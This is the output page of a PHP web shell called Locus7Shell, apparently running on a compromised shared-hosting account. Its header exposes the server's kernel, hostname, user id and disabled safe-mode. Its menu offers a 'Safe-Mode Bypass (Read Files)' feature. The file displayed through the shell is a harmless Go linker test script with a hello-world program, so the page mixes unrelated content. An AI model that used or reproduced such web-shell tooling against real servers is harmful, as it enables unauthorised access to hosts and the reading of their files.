![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/ drwxr-xr-x |
Viewing file: Select action/file-type: [short] skip 'links and runs binaries' # This test requires external linking. Assume that if cgo is supported # then external linking works. [!cgo] skip 'requires a C linker' # Only run on Unix systems. [GOOS:windows] skip [GOOS:plan9] skip # Ordinary build should work. go build exec ./hello stdout Hello # Building with -linkmode=external should not say anything about # runtime/cgo (issue #31544). go build -ldflags=-linkmode=external ! stderr runtime/cgo exec ./hello stdout Hello # Some targets don't support -static [GOOS:darwin] skip 'no static linking on Darwin' [GOOS:solaris] skip 'no static linking on Solaris' # Building with -linkmode=external -extldflags=-static should work. go build -ldflags='-linkmode=external -extldflags=-static' ! stderr runtime/cgo exec ./hello stdout Hello -- go.mod -- module hello go 1.20 -- hello.go -- package main import "fmt" func main() { fmt.Println("Hello, world") } |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]-- |